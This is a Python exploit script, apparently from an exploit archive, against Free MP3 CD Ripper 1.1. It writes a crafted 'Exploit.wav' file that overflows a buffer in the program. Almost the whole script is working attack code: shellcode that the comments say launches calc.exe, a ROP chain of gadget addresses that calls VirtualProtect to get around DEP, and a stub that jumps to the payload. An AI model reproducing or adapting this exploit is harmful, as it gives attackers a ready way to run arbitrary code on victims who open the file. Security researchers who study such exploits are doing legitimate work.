#!/usr/bin/python
#
#[+]Exploit Title: Free MP3 CD Ripper 1.1 Universal DEP Bypass Exploit
#[+]Date: 27\08\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.brothersoft.com/free-mp3-cd-ripper-84543.html
#[+]Found/Initial Exploit: X-h4ck(http://www.exploit-db.com/exploits/17727/)
#[+]Version: 1.1
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
from struct import pack
from time import sleep
import os
from sys import exit
print '''
Created By C4SS!0 G0M3S
E-mail louredo_@hotmail.com
Blog net-fuzzer.blogspot.com
'''
sleep(2)
shellcode = ("\xdd\xc3\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x32\xb8\x08\x99"
"\xc4\xb4\x31\x43\x17\x03\x43\x17\x83\xcb\x9d\x26\x41\x37"
"\x75\x2f\xaa\xc7\x86\x50\x22\x22\xb7\x42\x50\x27\xea\x52"
"\x12\x65\x07\x18\x76\x9d\x9c\x6c\x5f\x92\x15\xda\xb9\x9d"
"\xa6\xea\x05\x71\x64\x6c\xfa\x8b\xb9\x4e\xc3\x44\xcc\x8f" # Shellcode WinExec "Calc.exe"
"\x04\xb8\x3f\xdd\xdd\xb7\x92\xf2\x6a\x85\x2e\xf2\xbc\x82" # BadChars "\x00\x0a\x0d"
"\x0f\x8c\xb9\x54\xfb\x26\xc3\x84\x54\x3c\x8b\x3c\xde\x1a"
"\x2c\x3d\x33\x79\x10\x74\x38\x4a\xe2\x87\xe8\x82\x0b\xb6"
"\xd4\x49\x32\x77\xd9\x90\x72\xbf\x02\xe7\x88\xbc\xbf\xf0"
"\x4a\xbf\x1b\x74\x4f\x67\xef\x2e\xab\x96\x3c\xa8\x38\x94"
"\x89\xbe\x67\xb8\x0c\x12\x1c\xc4\x85\x95\xf3\x4d\xdd\xb1"
"\xd7\x16\x85\xd8\x4e\xf2\x68\xe4\x91\x5a\xd4\x40\xd9\x48"
"\x01\xf2\x80\x06\xd4\x76\xbf\x6f\xd6\x88\xc0\xdf\xbf\xb9"
"\x4b\xb0\xb8\x45\x9e\xf5\x37\x0c\x83\x5f\xd0\xc9\x51\xe2"
"\xbd\xe9\x8f\x20\xb8\x69\x3a\xd8\x3f\x71\x4f\xdd\x04\x35"
"\xa3\xaf\x15\xd0\xc3\x1c\x15\xf1\xa7\xc3\x85\x99\x27")
#######################ROP START HERE#######################################
rop = pack('<L',0x6f483d9b) # PUSH ESP # POP EBP # RETN
rop += pack('<L',0x004a7252) # XCHG EAX,EBP # RETN
rop += pack('<L',0x0047855b) # XCHG EAX,ECX # RETN
rop += pack('<L',0x00494277) # POP EAX # RETN
rop += pack('<L',0x00CA2108) # PTR to VirtualProtect
rop += pack('<L',0x10007584) # POP EDI # RETN
rop += pack('<L',0x00493b99) # RETN
rop += pack('<L',0x10013cb1) # POP ESI # RETN
rop += pack('<L',0x00C81C02) # PTR to JMP[EAX]
rop += pack('<L',0x00453cc7) # POP EBP # RETN
rop += pack('<L',0x100081cd) # ADD ESP,24 # RETN // Return of function VirtualProtect
rop += pack('<L',0x00493b98) # POP EBX # RETN
rop += pack('<L',0x000000db) # Valor de dwSize
rop += pack('<L',0x004b0609) # POP EDX # RETN
rop += pack('<L',0x00000040) # Valor de flNewProtect
rop += pack('<L',0x004c8dc0) # PUSHAD # RETN
rop += ("A" * 32)
rop += pack('<L',0x00463BE9) # JMP to Shellcode
#######################ROP END HERE#########################################
#Note:
#Here we have control of 219 bytes of memory, is not a good space. :)
#So our solution would be: call the function VirtualProtect pointing to inicion 4112 bytes of the file.
#Now that control the 219-byte one, a good space
#to a function call VirtualProtect and its parameter. ;)
############################################################################
buf = ("\x90" * 50)
buf += shellcode
buf += ("A" * (4112-len(buf)))
buf += rop
buf += (
"\x54" # PUSH ESP
"\x6A\x40" # PUSH 40
"\x66\xB8\x50\x10" # MOV AX,1050
"\x50" # PUSH EAX
"\x8B\xCC" # MOV ECX,ESP
"\x2B\xC8" # SUB ECX,EAX
"\x8B\xD9" # MOV EBX,ECX
"\x51" # PUSH ECX
"\xFF\x15\x08\x21\xCA\x00" # CALL DWORD PTR DS:[Kernel32.VirtualProtect]
"\xFF\xD3") # CALL EBX // Jmp to My Shellcode after call VirtualProtect
print "\t\t[+]Creating Exploit File..."
sleep(1)
try:
f = open("Exploit.wav","wb")
f.write(buf)
f.close()
print "\t\t[+]File \"Exploit.wav\" Created Succefully."
sleep(1)
except IOError,e:
print "\t\t[+]Error: "+str(e)
exit(-1)
